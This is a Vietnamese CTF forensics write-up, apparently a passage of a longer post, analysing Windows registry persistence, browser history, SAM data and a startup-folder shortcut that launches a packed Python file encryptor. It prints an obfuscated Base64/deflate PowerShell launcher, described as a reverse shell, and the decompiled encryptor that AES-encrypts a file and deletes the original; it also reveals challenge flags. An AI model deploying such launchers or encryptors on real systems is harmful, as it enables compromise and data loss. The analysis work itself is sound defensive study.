`HKEY_CURRENT_USER` trong **Windows Registry**, như ta từng phân tích ở trên. * Để phân tích nội dung của file này, có thể dùng [regripper](https://www.kali.org/tools/regripper/) hoặc [AccessData Registry Viewer](https://accessdata-registry-viewer.software.informer.com/download/). * Sau khi đọc description: `Hòa thấy hiện tượng lạ mỗi khi anh ta khởi động máy tính. Anh ta nghĩ rằng việc tải các video không lành mạnh gần đây đã khiến máy tính của anh ta bị hack.`. Và thì có lẽ có 1 thứ gì đó chạy cùng mỗi khi startup máy. * Mình nghi ngờ vào 2 cái `key` này: `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce` * Theo mình tìm hiểu thì cái `key` thứ nhất sẽ tự động chạy mỗi lần người dùng đăng nhập, còn `key` thứ hai chạy đúng 1 lần duy nhất sau khi người dùng đăng nhập. * Vậy xâu chuỗi các suy luận, mình đoán 99% vấn đề là nằm ở cái `key` đầu. ![image](https://hackmd.io/_uploads/ryii_OqIex.png) * Đây có vẻ là 1 **malware persistence**, ẩn dưới dạng **PowerShell obfuscation** + **Base64** + **decompression**. * Đoạn mã gốc: ```py "C:\Windows\System32\WindowsPowerShell\v10\powershellexe" "(neW-obJEct ioCOMprEssIondEFlATesTReAm( [sySTemIOmemorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEMiOComPReSSionCoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct iostreAMrEadeR( $_,[sysTemTExtEnCoDING]::asCIi )})reaDToEnD()|inVOKe-exprEsSIon" ``` * Lúc đầu mình đem đi decode base64 vì nghĩ nó là flag :)) * Sau 1 hồi ~~thúc đít~~ con **chatGPT** thì mình có file decrypt như này: ```py $base64 = 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8=' $bytes = [System.Convert]::FromBase64String($base64) $ms = New-Object System.IO.MemoryStream(,$bytes) $ds = New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress) $sr = New-Object System.IO.StreamReader($ds, [System.Text.Encoding]::ASCII) $result = $sr.ReadToEnd() Write-Output $result ``` * Output mình nhận được: ![image](https://hackmd.io/_uploads/H1B_iuqLel.png) * **Flag: ~~CHH{N0_4_go_n0_st4r_wh3r3}~~** * Thực ra có **flag** là được rồi, nhưng đoạn code kia theo như mình hiểu thì nó chính là 1 đoạn **PowerShell reverse shell**. ### DFIR * Extract file, mình thấy có **description** nên xem trước: ![description](https://hackmd.io/_uploads/r1P1xFcUgg.png) * Về challenge, mình có 2 thư mục là `AppData` - lưu dữ liệu ứng dụng riêng của người dùng và `config` - lưu trữ các hive file của **Registry**, quản lý cấu hình hệ thống và người dùng. #### Question 1: Tên của máy tính là gì? * Như đã tìm hiểu ở trên, ta biết hive `SYSTEM` trong **Registry** là nơi lưu giữ thông tin cấu hình hệ thống, phần cứng, phần mềm, và cụ thể ở đây ta quan tâm là tên máy tính. * Mình sẽ sử dụng [Registry Explorer](https://ericzimmerman.github.io/#!index.md) để xem nha. * Tên máy tính nằm trong `hive SYSTEM` ở đường dẫn: `ControlSet001\Control\ComputerName\ComputerName`. Mình ném file `SYSTEM` vào **`Registry Explorer`** và tìm từ khóa **computer**: ![Screenshot 2025-07-20 215302](https://hackmd.io/_uploads/rJL7XY9Ile.png) * `Part 1: DESKTOP-AL3DV8F` #### Question 2: Anna đã xem một video về hack trên youtube, cung cấp dấu thời gian lúc đó. * Với câu hỏi này thì biết luôn thứ ta cần phân tích là các file **Histiory** trong trình duyệt. * Mình dùng **FTK** để phân tích, ném folder `AppData` vào và sau ~~1 lúc~~ tìm thì thấy tại đường dẫn: `DFIR\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default` ![Screenshot 2025-07-20 220556](https://hackmd.io/_uploads/HkP78KqLlx.png) * Tiếp tục để phân tích tiếp file **`History`**, mình sử dụng **DBbrowser** để mở. Sang tab `Browse Data`, chọn tables là `urls` nha: ![Screenshot 2025-07-20 221415](https://hackmd.io/_uploads/SkKmdYq8el.png) * Mình sẽ không nói rằng khi đến đây mình thấy 2 link dưới trông ~~hay hay bổ ích~~ nên tìm xem thử đâu :)) * Tuy nhiên khoảng thời gian lấy được là `13329133453646292` thì nó không phải **UTC** mà là **Chrome Timestamp**, mình kiếm tạm 1 tools nào đó, viết script cũng được nhưng mình thấy kiếm tools xài nhanh hơn. * Dùng https://www.epochconverter.com/webkit oki này. ![Screenshot 2025-07-20 221848](https://hackmd.io/_uploads/H17XFKcIxx.png) * `Part 2: 21/05/2023-09:04:13` #### Question 3: Thời gian lần cuối cùng người dùng đăng nhập thất bại (UTC). * Ta biết được rằng thông tin này lưu tại `hive SAM` của **registry**. Xem nó bằng **Registry Viewer** nha. ![Screenshot 2025-07-20 222436](https://hackmd.io/_uploads/ryf5qFc8eg.png) * `Part 3: 09/05/2023-08:17:51` * Tổng hợp 3 part, mình có flag : `KMACTF{DESKTOP-AL3DV8_21/05/2023-09:04:13_09/05/2023-08:17:51}` ### sit * Bài cho `readme` nên mình đọc trước: ```py #Name: sit ### Mô tả: When I have started my computer, my secret document is encrypted. I think I am a victim of a targeted attack ### Pass: 2w#_4w|e{Jh<2)};3by<{>}G3$h;2vuF3>'D4Jga|s|a} ``` * Nhập pass giải nén xong thì mình có các file với thư mục này: ![image](https://hackmd.io/_uploads/B15U3FcLgl.png) * Sau 1 hồi vọc vạch `Registry`, thì không thu được gì. Mình quyết định đọc lại kỹ mô tả 1 lần nữa, thì đoán rằng bài này ít nhiều liên quan tới `persistence`. Như ở trên mình có giới thiệu 1 cơ chế sử dụng `persistence` là **Scheduled Task**. * Cơ bản cái này nó giống `cronjob` trong **Linux**, tức là lợi dụng việc tạo các tác vụ định kỳ theo lịch trong **Scheduled Task** để thực thi mã độc. * Tuy nhiên bài này thì không phải dạng này, vì phân tích kỹ mô tả liên quan tới `startup` (Có một tài liệu quan trọng đã bị mã hóa khi máy tính khởi động) thì sú hơn đó là trong **Registry Key**, cụ thể hơn là 2 `key` này: `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce` * Nhưng như mình đã nói là kiểm tra **Registry Key** trước rồi và không thu được gì. * Còn 1 thứ cần kiểm tra nữa, cũng dùng trong `persistence` đó là các `script` trong **Startup Folder**: `AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`. * Tại đường dẫn này mình thấy có 1 thứ sú sú: `\sit[root]\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup` ![image](https://hackmd.io/_uploads/HkoC1q9Lll.png) * Trông như này mình nghĩ 99% ai cũng như mình, nghi ngờ con shortcut **Unikey** :)) * Việc phân tích tiếp, có thể dùng [LECmd](https://github.com/EricZimmerman/LECmd) ![Screenshot 2025-07-20 225916](https://hackmd.io/_uploads/BkX3zcq8ll.png) * Đơn giản hơn thì `exiftool` cũng ra kết quả tương tự: ![Screenshot 2025-07-20 230048](https://hackmd.io/_uploads/rJPX7qqUel.png) * Ý mình `kết quả tương tự` là cùng detect ra 2 giá trị `Relative Path` và `Argument` lạ. * Mình kiếm mấy cái đó để chung 1 chỗ cho tiện: ![image](https://hackmd.io/_uploads/r1zjr95Ilx.png) ![image](https://hackmd.io/_uploads/rkznBqqIge.png) * Ném thử nó vào **Detect It Easy** ![image](https://hackmd.io/_uploads/Sy6mL558lg.png) * File được compile bằng python và bị pack. * Vậy đầu tiên mình sử dụng **[Pyinxtractor](https://github.com/extremecoders-re/pyinstxtractor)** để unpack. ![image](https://hackmd.io/_uploads/HylUL99Ixl.png) * Sau khi giải nén mình thu được kết quả như này: ![image](https://hackmd.io/_uploads/B1E985q8le.png) * Có thể thấy sú nhất là con `datahost.pyc` kia. Mình dùng [Uncompyle6](https://pypi.org/project/uncompyle6/) để đọc file: ![image](https://hackmd.io/_uploads/BkDrD9cUxg.png) * Code: ```py import os, sys, random, platform from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Hash import SHA256, MD5 def encryption(file, key, iv): with open(file, "rb") as enc: data = enc.read() cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(data, AES.block_size)) write = ciphertext enc.close() with open(file + ".huhu", "wb") as data: data.write(write) data.close() while True: filename = sys.argv[1] sed_ = int(os.path.getctime(filename)) random.seed(sed_) key = SHA256.new(str(random.randint(1, 13374953)).encode("utf-8")).digest() iv = MD5.new((platform.node() + "-" + os.path.dirname(os.path.abspath(filename))).encode("utf8")).digest() encryption(filename, key, iv) os.remove(filename) break ``` * Đoạn code này có vẻ mã hóa một file đầu vào bằng **AES-CBC** và xóa bản gốc, cụ thể như sau: * * Sinh `key` bằng: ```py key = SHA256.new(str(random.randint(1, 13374953)).encode("utf-8")).digest() ``` * * Sinh `iv` bằng: ```py iv = MD5.new((platform.node() + "-" + path).encode("utf-8")).digest() ``` * Trong đó: * `platform.node()` = hostname của máy * `os.path.dirname(...)` = thư mục chứa file * Mã hóa file dùng **AES-CBC** với `key`, `iv`, và padding. * Ghi ra file `filename.huhu` (chắc là `tailieu.huhu`), sau đó xóa file gốc. * Như bài **DFIR** trên, ta cũng phải tìm các thông tin, nhưng thay vì trả lời câu hỏi thì ta dùng nó để giải mã. Cụ thể thì: * Phải biết thời gian tạo file (getctime) * Phải biết `hostname` và `path` gốc lúc mã hóa. * Bắt đầu với `IV` trước: * `computer name` lấy trong `registry hive SYSTEM` (`sit/[root]/Windows/System32/config/SYSTEM`) sau đó ném vào **Registry Explorer**: ![Screenshot 2025-07-20 233641](https://hackmd.io/_uploads/r1Eti9cUgx.png) * `Computer Name: KTMM` * `path` file `tailieu.huhu` thì tìm thấy ở `sit\[root]\Program Files\Common Files\Microsoft Shared\TextConv` ![image](https://hackmd.io/_uploads/HkhJ2ccIxg.png) * Tiếp tục với tìm `key`, thì khoảng giá trị ở đây khá lớn (`13374953`) nên mình bỏ ngay ý tưởng ~~bút phọt~~ :)) * Thực ra thì `key` tính bằng thời gian tạo file, mà thông tin đó thì lưu trong **MFT**, tổng quát hơn thì nó chứa các thông tin như quyền truy cập, tên, kích thước, và vị trí trên ổ đĩa. * Để có thông tin này thì sử dụng [MFTExplorer](https://ericzimmerman.github.io/#!index.md) hay [MFTECmd](https://ericzimmerman.github.io/#!index.md) đều được. ![Screenshot 2025-07-20 234905](https://hackmd.io/_uploads/B1b8R55Lgg.png) * Vậy ta tìm được thời gian là `2023-08-24 17:08:53.1842738`. * `Key = 3f7b97f33b0deb6f6ccbb2fc32f2c7c33a4c26e85f205a14cc9e9a2f67181a85`: ![image](https://hackmd.io/_uploads/HyNbSi9Ill.png) * `IV = f8bcb9e0724488171fd20b080ed4ddf4`: ![upload_fb88d7fe506c6ca51b1934f58ad1bed9](https://hackmd.io/_uploads/rkpQHj9Ixl.png) * `Decrypt`: ![image](https://hackmd.io/_uploads/B1MRSo5Lgl.png) * Đây là 1 file **PDF**, vậy mình đổi đuôi. Sau đó mở ra thì nó là 1 mã **QR**: ![image](https://hackmd.io/_uploads/ByzU8j5Uge.png) * Đem đi scan, ta được: ![image](https://hackmd.io/_uploads/BkoWwj9Ull.png) * **~~Flag: {Wh3n_Pl4y1n9_CTF,_pl@Y_w1tH_4ll_Ur_h34r7}~~** ## Refs https://sec.vnpt.vn/2022/03/windows-event-logs-1 https://sec.vnpt.vn/2023/01/windows-forensicpart2-windows-event-logs https://sec.vnpt.vn/2023/02/windows-forensicpart3-windows-event-logs https://hackmd.io/@phgvee/SkKKK70ua https://hackmd.io/@xinhgaitinhquai/HJLnlKFPC